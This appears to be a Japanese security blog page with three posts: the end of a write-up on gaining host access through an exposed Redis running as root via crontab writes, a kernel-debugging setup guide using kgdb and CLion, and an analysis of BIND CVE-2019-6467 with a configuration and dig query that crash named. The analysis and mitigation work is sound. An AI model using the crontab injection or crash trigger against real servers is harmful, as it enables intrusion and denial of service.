crontabもゴミが入っていても行単位で解釈されるようです。ここではtouchコマンドを打っているだけですが、バックドアを落としてきて動かすことなども可能です。バックドアの場合は何かしらのポートが空いている必要がありますし、リバースシェル等の場合は外向き通信が空いている必要があります。Firewall等でその辺りがブロックされていたら影響はないかもしれません。

攻撃の実現性について

RHELCentOSなどで普通にRedisを入れた場合、きちんとredisユーザを作ってそちらのユーザで起動するように起動スクリプトを書かないとrootで起動してしまいます。ブログとかによってはrootで起動してたりする場合もありますし、Redisがrootなどの強いユーザで動いているなどの可能性は0ではないと思います(というか見たことがあります)。また、普通のサーバであればcronは動いていると思いますし、実行ユーザの条件さえ満たせれば成功する可能性は高いと考えています。きちんとユーザを分離するのは当たり前ですが大事ということですね。

また、多層防御しており何かしら他の制約があって攻撃が成立しない場合もあると思います。それは環境によって異なるため自組織に影響があるかをきちんと判断することが重要です。

ですが最近はコンテナでデプロイされるケースが増えており、コンテナ内では通常sshdもcronも動いてないですし(たまにcronが動いているコンテナもあるみたいですが)、RedisとWebサーバは別コンテナにするのが普通です。つまり、上記の方法ではホスト側に抜けるのは難しい状況です。

そういった状況でもOSコマンド実行できた、というのが最近発表されていたのでそちらについても後日解説したいと思います。

まとめ

Redisが誤ってインターネットに開放されてしまった場合に、Redis上のデータを好きに改変できるだけと考えるのと、ホストにまで侵入されているかも、と考えるかで対応が変わってきます。きちんとリスクを把握して正しい対応が出来るようになれば、ということで書いておきました。

関連記事

他の方法もあるので良ければ見てみて下さい。

knqyf263.hatenablog.com

LinuxカーネルをCLionでデバッグする

概要

Linuxカーネル脆弱性はよく見つかるので、たまにLinuxカーネルデバッグしたいときがあると思います。printkデバッグでも良いんですが、いちいちビルドするの面倒だし良い感じにステップ実行できれば良いのにと思っていました。

思うだけで何一つ行動に移していなかったのですが、今回SACK Panicの脆弱性調査のために気合い入れてデバッグ環境を作ったので残しておきます。

環境はVagrantで作っていて、デバッガはkgdbを使っています。正直細かい話はよく分かってないのでカーネル詳しい方々の説明を見たほうが良いですが、とりあえず動かしたければ役に立つかもしれません。

カーネルデバッグなんかググればアホほど記事あるだろうと思ってたのですが、意外とステップ実行頑張ってる人は少なさそうに見えました。なので綺麗にステップ実行できるようになるまでにもそこそこ苦労しました。

環境

ホスト環境

VM環境

参考URL

詳細

Vagrant

まず最初にVagrantVMを起動します。以下のようなVagrantfileを作ります。Vagrantは既に使える前提です。

$ cat Vagrantfile
Vagrant.configure("2") do |config|
  config.vm.box = "bento/ubuntu-14.04"
  config.vm.network "private_network", ip: "192.168.33.20"
  config.vm.provider "virtualbox" do |vb|
    vb.customize ["modifyvm", :id, "--natdnshostresolver1", "on"]
    vb.customize ["modifyvm", :id, "--uart2", "0x2F8", "4"]
    vb.customize ["modifyvm", :id, "--uartmode2", "tcpserver", "1234"]
    vb.memory = "2048"
  end
end

重要なのは--uart辺りで、これはVMのシリアルポートをホスト側から利用するための設定になります。VirtualBox 5.0からシリアルポートのTCP/IPバックエンド機能が使えるようになったらしく、それを利用してCLionから繋いでいます。

起動してVMにログインします。

$ vagrant up
$ vagrant ssh

Linuxカーネル

この時点で既にkgdbを利用可能な状態ではあります。実際にkgdbに関連するオプションを確認すると全て有効になっています。

vagrant@vagrant:~$ grep -i kgdb /boot/config-4.4.0-31-generic
CONFIG_KGDB=y
CONFIG_KGDB_SERIAL_CONSOLE=y
# CONFIG_KGDB_TESTS is not set
CONFIG_KGDB_LOW_LEVEL_TRAP=y
CONFIG_KGDB_KDB=y

このまま繋ぐことは可能なのですが、1つ問題があります。カーネルビルド時に最適化オプションが有効になっているため、ステップ実行しても行が飛びまくります。最適化により変数もいくつかoptimized outされて消えており、中身が見えない状態になります。

Cのプログラム書いてgdbとか動かしたことある人は分かると思いますが、あまりステップ実行のメリットが無くなってしまうため-O0などを付けるのがオススメです。そのため、このUbuntu 14.04はそのまま利用せずLinuxソースコードを落としてきて自分でビルドします。

ビルドに必要なものを入れてソースコードをcloneします。cloneし終わったら3.12にチェックアウトします。バージョンは3.12じゃなくても別に大丈夫だと思います。

vagrant@vagrant:~$ sudo apt-get -y update
vagrant@vagrant:~$ sudo apt-get install build-essential git libncurses5-dev
vagrant@vagrant:~$ git clone --depth=1 -b v3.12 https://github.com/torvalds/linux.git linux-3.12
vagrant@vagrant:~$ cd linux-3.12

カーネルの設定を行います。loadmodconfigは今ロードされているモジュールを有効にするように自動でconfigureしてくれるやつらしいです。 実行すると色々聞かれますが全部Nで大丈夫でした。デフォルトがNなのでEnter連打するだけです。

vagrant@vagrant:~$ make localmodconfig

次に一部の設定を変えるためにmenuconfigを行います。これはGUI風の画面で諸々の設定をいじれるのですが、自分はデフォルトのままで問題なかったです(記憶が失われただけで過去に設定したのかもしれない)。

vagrant@vagrant:~$ make menuconfig

参考URLにある通り、以下の設定が有効になっていれば大丈夫です。

Kernel Hacking ---> 
  <*> KGDB: kernel debugger

Device Drivers ---> 
  Network device support --->     
   <*> Network console logging support

設定が終わったらビルドします。CPU複数ないと並列化の恩恵受けられないので、時間かかるようなら上のVagrantfile内でvb.cpus = 4とかにしておくと良いと思います。

vagrant@vagrant:~$ make -j8

ビルドが終わったらmake installします。

vagrant@vagrant:~$ sudo make modules_install
vagrant@vagrant:~$ sudo make install

次に起動するカーネルを切り替える必要があります。起動時にgrubの画面で切り替えても良いのですが、面倒なのでdefault設定を変えておきます。

vagrant@vagrant:~$ grep "menuentry " /boot/grub/grub.cfg
menuentry 'Ubuntu' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-simple-267a57a4-b544-4eb5-afdc-3a36cd2cd265' {
        menuentry 'Ubuntu, with Linux 4.4.0-31-generic' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-4.4.0-31-generic-advanced-267a57a4-b544-4eb5-afdc-3a36cd2cd265' {
        menuentry 'Ubuntu, with Linux 4.4.0-31-generic (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-4.4.0-31-generic-recovery-267a57a4-b544-4eb5-afdc-3a36cd2cd265' {
        menuentry 'Ubuntu, with Linux 3.12.0' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.12.0-advanced-267a57a4-b544-4eb5-afdc-3a36cd2cd265' {
        menuentry 'Ubuntu, with Linux 3.12.0 (recovery mode)' --class ubuntu --class gnu-linux --class gnu --class os $menuentry_id_option 'gnulinux-3.12.0-recovery-267a57a4-b544-4eb5-afdc-3a36cd2cd265' {
menuentry 'Memory test (memtest86+)' {
menuentry 'Memory test (memtest86+, serial console 115200)' {

これ未だにどうやって切り替えるのが一番良いのか不明なのですが、とりあえずgrepすると上のように4.4.0-31と3.12.0の2つがあることが分かります。4.4.0-31は元々のUbuntuカーネルで、3.12.0が今ビルドしたやつなのでそちらに切り替えます。

/etc/default/grub 内のGRUB_DEFAULTを書き換えます。

vagrant@vagrant:~$ sudo vim /etc/default/grub
GRUB_DEFAULT="Advanced options for Ubuntu>Ubuntu, with Linux 3.12.0"

Ubuntu, with Linux 3.12.0 だけ書いていたらAdvanced optionsも付けろって怒られたので付けてます。GRUB_DEFAULT=1とかでも動く気はします(CentOSとかはいつもそうやってたので)。

ちなみにソースコードを少しいじってmake installし直すと3.12.0+になります。さらにmake installしても3.12.0++とかにはならず+のままでした。

そしてKASLRが有効だとメモリがランダマイズされてkgdbがうまく動かないので無効化します。これも上と同様 /etc/default/grub に書きます。

vagrant@vagrant:~$ sudo vim /etc/default/grub
GRUB_CMDLINE_LINUX="nokaslr"

最後にgrubの設定を更新します。

vagrant@vagrant:~$ sudo update-grub

一旦再起動します。

vagrant@vagrant:~$ sudo reboot

カーネル入れ替えるとVirtualBoxのファイル共有機能が使えなくなっているので、入れ直しておきます。

vagrant@vagrant:~$ sudo apt-get update
vagrant@vagrant:~$ sudo apt-get -y install --reinstall virtualbox-guest-dkms

rebootコマンドで起動していたら何故かファイル共有がうまく動かなくて困っていたのですが、おとなしくvagrantコマンドでやっておくほうが良いようでした。

ということでもう一度再起動します。

vagrant@vagrant:~$ exit
$ vagrant reload

Linuxカーネルの設定としてはこれで終わりです。

CLion

デバッグ実行のためにCLionを使います。VSCodeでも何でも良いとは思いますが、何やかんや機能が豊富そうという理由で今回はCLionを使っています。

適当にインストールします。

CLion: A Cross-Platform IDE for C and C++ by JetBrains

次にソースコードも必要なので持ってきます。再度cloneしても良いのですが、既にVM内にあるので持ってきます。gitでcloneした場合でもvmlinuxは必要なので結局VM内から持ってくることになります。

VM内の /vagrant に置くとホスト側のVagrantfileある位置に動悸されます。このlinuxnのソースを適当な位置に移動させます。自分は ~/src/github.com/knqyf263 に移動させましたが、各自の好きな場所で良いです。

$ vagrant ssh
vagrant@vagrant:~$ sudo cp -r linux-3.12/ /vagrant/
vagrant@vagrant:~$ exit
$ mv linux-3.12 ~/src/github.com/knqyf263/

CLionで ~/src/github.com/knqyf263/linux-3.12/ を開きます。

f:id:knqyf263:20190701185144p:plain

GDBのリモートデバッグの設定をします。右上の「Add Configuration」からポップアップを開いて左上の「+」ボタンを押して「GDB Remote Debug」を選びます。

以下のように設定しておきます。

  • Name: kernel
  • GDB: /usr/local/bin/gdb
  • 'target remote' args: localhost:1234
  • Symbol file: /Users/teppei/src/github.com/knqyf263/linux-3.12/vmlinux
  • Path mappings:

「Name」は何でも良いので適当に決めます。

GDB」の箇所はとても重要です。CLionはgdb/lldbが同梱されており、デフォルトだとDebuggerはBundledなものが指定されています。

めっちゃハマったのですが、同梱のやつだとうまく動きません。何か方法があるかもしれないですが、とりあえずbrewgdbを入れておけば動くようになります。

$ brew install gdb

インストールできたら /usr/local/bin/gdb を使うように設定しておきます。「Custom GDB executable」にして /usr/local/bin/gdb を指定すればOKです。

次に「target remote」ですが、これは最初にVagrantlocalhost:1234にシリアルポートを開くように設定したのでそちらに繋いでいます。違うポートにしていたらそれに合わせて変えて下さい。

「Symbol file」はビルド時に得られたvmlinuxをMac側に持ってきて設定する必要があります。これも自分linuxのソースをmvした場所を指定する必要があるので、自分の置いたディレクトリに合わせて設定して下さい。

「Path mappings」ではリモートのpathとローカルのpathをマッピングする必要があります。この設定がうまく出来なくてかなりハマりました。

以下のような感じになると思います。

f:id:knqyf263:20190701123756p:plain

最適化の無効化

ここまでの設定で既にデバッグは可能なのですが、先程も述べたようにこのままだと最適化のせいでステップ実行が綺麗に動きません。そこでLinuxカーネル全体を-O0で最適化無効にしようとしたのですが、どうやらLinuxカーネルは-O0でコンパイルできないようです。

lists.kernelnewbies.org

Yes, it doesn't work :)

って言われてます。実際に自分もやってみたらうまく行かずでした。ここは誰かカーネルに詳しい人に助けてほしいです。

ですが、上の参考URLに貼ったslideshareを見ると特定のファイル単位での無効化なら可能なようです。

CFLAGS_(オブジェクトファイル名) = コンパイルオプション

こんな感じで書けるみたいです。今回無効にしたかったのはtcp_input.cだったので以下のようにMakefileに追記しました。

vagrant@vagrant:~$ vim linux-3.12/net/ipv4/Makefile
...
CFLAGS_tcp_input.o = -O0

再度ビルドとインストールを行います。

vagrant@vagrant:~$ cd linux-3.12/
vagrant@vagrant:~$ make -j8
vagrant@vagrant:~$ sudo make modules_install
vagrant@vagrant:~$ sudo make install

先程も述べたように3.12.0+になっているのでgrubの設定を変えておきます。

vagrant@vagrant:~$ sudo vim /etc/default/grub
GRUB_DEFAULT="Advanced options for Ubuntu>Ubuntu, with Linux 3.12.0+"
...

更新します。

vagrant@vagrant:~$ sudo update-grub

あとはリロードすればOKです。

vagrant@vagrant:~$ exit
$ vagrant reload

そしてvmlinuxを忘れないようにMacに持ってきます。ソースコードビルドし直したあとにこれを忘れて30分ぐらい溶かす、ということを自分は5回ぐらいやってます。疲れてくると忘れがち。

$ vagrant ssh
vagrant@vagrant:~$ sudo cp linux-3.12/vmlinux /vagrant/
vagrant@vagrant:~$ exit
$ mv vmlinux ~/github.com/knqyf263/linux-3.12/

デバッグ

念の為カーネルバージョンを確認しておきます。

$ vagrant ssh
vagrant@vagrant:~$ uname -a
Linux vagrant 3.12.0+ #2 SMP Fri Jun 28 04:03:07 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

3.12.0+になっていればOKです。

では実際にデバッグしてみます。以下のコマンドを打つとkgdbを待ち受けるようになります。VM側は何もコマンド打てなくなりますが、デバッガで繋げば動かせるようになるので焦らなくて大丈夫です。

vagrant@vagrant:~$  echo ttyS1,115200 | sudo tee /sys/module/kgdboc/parameters/kgdboc
vagrant@vagrant:~$  echo g | sudo tee /proc/sysrq-trigger

今回は net/ipv4/tcp_input.cデバッグしたかったので、適当にtcp_ack関数内にブレークポイントを貼っておきます。

f:id:knqyf263:20190701184917p:plain

右上の虫ボタンを押すとVMに繋がりブレークポイントで止まります。

f:id:knqyf263:20190701185029p:plain

あとはステップ実行なり何なり好き勝手出来ます。変数の中身も見放題なので大分捗るようになります。

ただ、やはりカーネルだからなのかステップ実行は少し時間がかかります。なので自分は常に見たい値はprintkで一部出力したりしてました。その場合はビルドし直してvmlinuxを持ってくるのですが、同時にソースコードも持ってこないと行がずれてしまうので気をつけて下さい。

あと欲しい値見る時は「Variables」で右クリックすると「Evaluation Expression」というのがあるので、それを使ったりしてたのですがマクロの場合は評価後の値を見れませんでした。これもやり方ありそうですが、とりあえず分からなかったのでソースコードに単にマクロの結果を変数に代入するだけの行を追加したりして凌いでました。

struct  tcp_skb_cb *cb = TCP_SKB_CB(skb);

こんな感じ。

自分は /net/ipv4/tcp_input.c 以外にも /net/ipv4/tcp_output.c も-O0を付けつつprintkデバッグしてました。ただ、skbuff.cは-O0付けたら動かなかったので辛かったです。

何かたまにデバッガの接続が切れてVMが動かなくなることがあります。再度CLionから繋ぐことで動くこともあれば、どうやっても復帰できないときもあるのでそういう時は大人しくVM再起動してます。

あとVirtualBoxのせいか動作が不安定で突然クラッシュすることもありました。もっと新しいLinuxのバージョン使えば安定するのかも...?

そして、あまりLinuxカーネル関係なくIntelliJ IDEAのテクニックになりますが、ブレークポイントはConditionが書けます。カーネル内の変数を使ってif文書いたり出来るということです。

f:id:knqyf263:20190701150513p:plain

これは目からウロコで、特定の閾値を超えたときだけ見たい場合とかいつも困ってたのですがこれ使ってから劇的に便利になりました。ブレークポイント間での依存関係も指定でき、特定のブレークポイントにヒットするまで他のブレークポイントも無効にできます。

Linuxカーネルは特に雑にブレークポイント指定するとヒットしまくってボタンを連打する人になりがちなので本当に助かりました。これなしでは生きていけないぐらい便利な機能でした。

まとめ

ハマりまくってやっと動くようになったので、やり方をまとめておきました。ググった感じあまりこの辺りやってる人見つからなかったのですが、何か他に良いやり方あれば教えて下さい。

CVE-2019-6467 (BINDのnxdomain-redirectに関する脆弱性)について

概要

今日の朝ぐらいにBINDでCVE-2019-6467の脆弱性が公開されました。最近BINDの脆弱性が出ても時間が取れず調査できていなかったので今回は超速で調査しました。世界で一番早く解析したんじゃないかなと思ってます(未確認)。

CVE-2019-6467はnxdomain-redirectに関する脆弱性です。

参考URL

詳細

前提

そもそもこの脆弱性はnxdomain-redirectを使っていない場合は影響を受けません。そのため、多くのBINDユーザには影響なしだと思われます。

それでもこの脆弱性の詳細が知りたい!!!という知的好奇心が抑えられない人だけこれ以降を読んで下さい。

NXDomain redirection

nxdomain-redirectはBINDの9.11から入った機能なのですが、調べてもとにかく情報が出ません。それぐらいマイナーな機能なんじゃないかと思っていますが、昔見つかったCVE-2016-9778もnxdomain-redirectに関連する脆弱性でその時にJPRSから出ていた資料がわかりやすいです。

BIND 9.xの脆弱性(DNSサービスの停止)について(CVE-2016-9778)

BIND 9.xには、名前が存在しなかった場合にNXDOMAINに替えて特定のIPアドレス(AまたはAAAA)に対する応答を返すように設定するための機能が二つ実装されています(1)。一つは、BIND 9.9で実装されたRedirect zone機能で(2)、もう一つはBIND 9.11で実装された、より柔軟な設定が可能なRedirect namespace機能です(3)(4)。

今回はこの2つのNXDOMAIN redirectionのうち、後者(nxdomain-redirect)の方に関するものです。ちなみにNXDOMAINはドメイン名が見つからなかった時に返すレスポンスタイプですね。

脆弱性概要

それを踏まえた上で参考URLに挙げたISCのページを見てみます。

In certain configurations, named could crash with an assertion failure if nxdomain-redirect was in use and a redirected query resulted in an NXDOMAIN from the cache. This flaw is disclosed in CVE-2019-6467. [GL #880]

これを読むと、nxdomain-redirectが有効でリダイレクトされた先もNXDOMAINになったときにクラッシュすると言っているように見えます。しかもそれがキャッシュから取り出されたときなのでネガティブキャッシュがあることが条件。それって設定次第では普通に起き得るのでは...?という気持ちになります。ただ In certain configurations と言っているので普通には起きないのかも、という若干の安心感があります。

どういうソースコードの差分があるか見てみます。

$ wget ftp://ftp.isc.org/isc/bind9/9.12.4/bind-9.12.4.tar.gz
$ wget ftp://ftp.isc.org/isc/bind9/9.12.4-P1/bind-9.12.4-P1.tar.gz
$ tar xvf bind-9.12.4.tar.gz
$ tar xvf bind-9.12.4-P1.tar.gz
$ diff -r bind-9.12.4-P1/ bind-9.12.4/
...
Only in bind-9.12.4-P1/bind-9.12.4-P1/bin/tests/system/redirect: ns5
Only in bind-9.12.4-P1/bind-9.12.4-P1/bin/tests/system/redirect: ns6
...

ほとんどはCHANGELOGとかの差分ですが、testsの中にredirectというディレクトリがあります。今回の脆弱性を受けて足されたテストということは、今回の脆弱性を再現するような設定になっている可能性が高いです。

$ cat bind-9.12.4-P1/bin/tests/system/redirect/ns5/named.conf.in
...
options {
        port @PORT@;
        listen-on port @PORT@ { 10.53.0.5; };
        pid-file "named.pid";
        nxdomain-redirect signed;
};

zone "." {
        type master;
        file "root.db.signed";
};

// An unsigned zone that ns6 has a delegation for.
zone "unsigned." {
        type master;
        file "unsigned.db";
};

中を見ると、確かにnxdomain-redirectの設定が足されています。こうやって設定するのかーと思うのと同時に、nxdomain-redirectってIPアドレスとか書くんじゃないの?書くとどういう動きになるの?という謎が生まれてきます。

nxdomain-redirect

BINDのマニュアルを見てみます。

Chapter 6. BIND 9 Configuration Reference

With a redirect namespace (option { nxdomain-redirect };) the data used to replace the NXDOMAIN is part of the normal namespace and is looked up by appending the specified suffix to the original query name. This roughly doubles the cache required to process NXDOMAIN responses as you have the original NXDOMAIN response and the replacement data or a NXDOMAIN indicating that there is no replacement.

と書いてあります。 is looked up by appending the specified suffix to the original query name あたりを読むに、元のクエリのsuffixにnxdomain-redirectが足されるのか!という雰囲気が伝わります。

では早速試してみます。

$ cat /etc/named.conf
options {
        nxdomain-redirect redirect;
};

zone "." IN {
        type hint;
        file "named.root";
};

zone "example.com." IN {
        type master;
        file "example.com.zone";
        allow-update { none; };
};

zone "redirect" IN {
        type master;
        file "example.com.redirect.zone";
};

上の設定は色々省略しているのでそのままでは動かないです。そしてzoneファイルを次のようにします。

$ cat example.com.redirect.zone
$ORIGIN redirect.
$TTL 3600       ; 1 hour
@ IN SOA ns1.example.com. postmaster.example.com. (
        2015012902  ; serial
        3600        ; refresh (1 hour)
        1200        ; retry (20 min.)
        1209600     ; expire (2 weeks)
        900         ; minimum (15 min.)
        )
@       IN  NS      ns1.example.com.
@       IN  NS      ns2.example.com.

ns1         IN  A       192.168.1.2
ns2         IN  A       192.168.1.3
nxdomain.example.com IN  A       192.168.1.4

こうしておけば、nxdomain.example.comを引いた時にBINDはNXDOMAINを返そうとするが、 nxdomain-redirectredirect が指定されているのでsuffixにくっつけて nxdomain.example.com.redirect を探しに行くはず。上で nxdomain.example.com.redirect の時に192.168.1.4を返すように設定してあるので nxdomain.example.com はNXDOMAINなのに 192.168.1.4 が返ってくる、という仕組みのはずです。

結論から言うとこれはうまく動きませんでした。nxdomain.example.comじゃなくてnxdomainなのか?!nxdomain.example.com.redirect. まで書かないとダメなのか?!などなど悪戦苦闘しまくりましたが、実は example.com が正解でした。つまり

example.com IN  A       192.168.1.4

こうしておくと、nxdomain.example.comを引いた時にexample.com.redirectにリダイレクトされるようです。冷静に考えたらnxdomainの部分は何でも良いわけで、そこまで指定するわけがありませんでした。*.example.comとかはありそうですが。

少し話がそれますが、CVE-2016-9778では以下のように書かれています。

BIND 9.xにはRedirect namespace機能に不具合があり、nxdomain-redirectオプションにおいて自身が権威を持つゾーンが指定されていた場合、本機能に該当する問い合わせを処理する際にnamedが異常終了を起こす障害が発生します(*5)。

ということは上の設定だと死ぬんだろうか...

話を戻します。完全に推測ですが、上の設定はexample.comのNXDOMAINのときは192.168.1.4という意味になっていて、他にも example2.com とか example3.com とかのzoneを管理している時に、redirectのゾーンで

example.com IN  A       192.168.1.4
example2.com IN  A       192.168.1.5
example3.com IN  A       192.168.1.6

のように書けるのが嬉しい、ということじゃないかと思います。とにかくnxdomain-redirectに関してドキュメントが見つからず試行錯誤の結果なので、正しい用法などあればJPRSの方などからの指摘をお待ちしております。

試行錯誤の結果を置いておきます。存在しないドメイン名であれば何を問い合わせても192.168.1.4が返ってきます。

github.com

脆弱性詳細

ということでようやく脆弱性詳細です。先程のdiffをもう一度見てみると、ソースコード上にもいくつか差分があります。

diff -r bind-9.12.4-P1lib/ns/query.c bind-9.12.4/lib/ns/query.c
5900a5891
>               qctx->is_zone = qctx->client->query.redirect.is_zone;
6006a5998
>               qctx->is_zone = qctx->client->query.redirect.is_zone;

中でも関係ありそうなのが上の箇所です。GitHub上で見ると以下です。

bind9/query.c at v9_12_4 · isc-projects/bind9 · GitHub

リダイレクトの場合は qctx->is_zoneqctx->client->query.redirect.is_zone を代入しています。脆弱性の概要にはassertion failureで落ちると書いてあったので、この qctx->is_zone をassertにかけているところを探します。

すると、INSISTに qctx->is_zone を渡している箇所が複数見つかります。INSISTは単にメッセージを出力してabortするassertだと思って良いと思います。

bind9/gen.c at f285dd9a0828ba472645e61e5e9608c852aa31b6 · isc-projects/bind9 · GitHub

中でもquery_ncache関数の中で呼ばれている INSIST(!qctx->is_zone); はとても怪しいです。何故かと言うと脆弱性概要で a redirected query resulted in an NXDOMAIN from the cache のように書かれており、キャッシュからNXDOMAINを取り出す、つまりネガティブキャッシュの箇所で起きる可能性が高いためです。

bind9/query.c at v9_12_4 · isc-projects/bind9 · GitHub

ということでソースコードも読んだので実際に動かします。redirect先がNXDOMAINになるようにするのは簡単です。redirect先が存在しなければ良い。先程の例でいうと、redirectのzoneを消せばよいです。

$ cat /etc/named.conf
options {
        nxdomain-redirect redirect;
};

zone "." IN {
        type hint;
        file "named.root";
};

zone "example.com." IN {
        type master;
        file "example.com.zone";
        allow-update { none; };
};

これで試せる状態になりました。

$ dig @127.0.0.1 nxdomain.example.com

このように適当に存在しないドメイン名を引いてみます。

...
25-Apr-2019 06:40:13.561 query.c:9309: INSIST(!qctx->is_zone) failed
25-Apr-2019 06:40:13.561 exiting (due to assertion failure)
25-Apr-2019 06:40:13.562 resolver priming query complete

oh...

BINDが死にました。ネガティブキャッシュと言っていたので一度キャッシュさせて二回目で死ぬのかな、と思っていたのですがクエリ一発で一瞬で死にます。確かに上のquery_ncacheを見る感じだと最初にINSISTしているので、NXDOMAINならすぐクラッシュするようです。

In certain configurations って言ってたじゃん!!単にNXDOMAINになるだけで再現するじゃないか!!

ということで意外な程にあっさりと再現できました。試したい人のために例によって再現環境を置いておきました。GIFとかもあるので動画見たい人はそちらをどうぞ。

github.com

対策

NXDOMAINにならなければクラッシュしないため、きちんと存在するzoneに対してredirectして上げれば影響ないと思います。 パッチ済みバージョンではis_zoneの代入が削除されているので、クラッシュしなくなっています。

まとめ

BINDのnxdomain-redirectに関する脆弱性(CVE-2019-6467)について調査しました。結果としては、あまりにも簡単に再現できてしまいました。ちゃんとテストしたのかな...と不安になるレベルです。ほとんど使われてないようなので問題なさそうですが。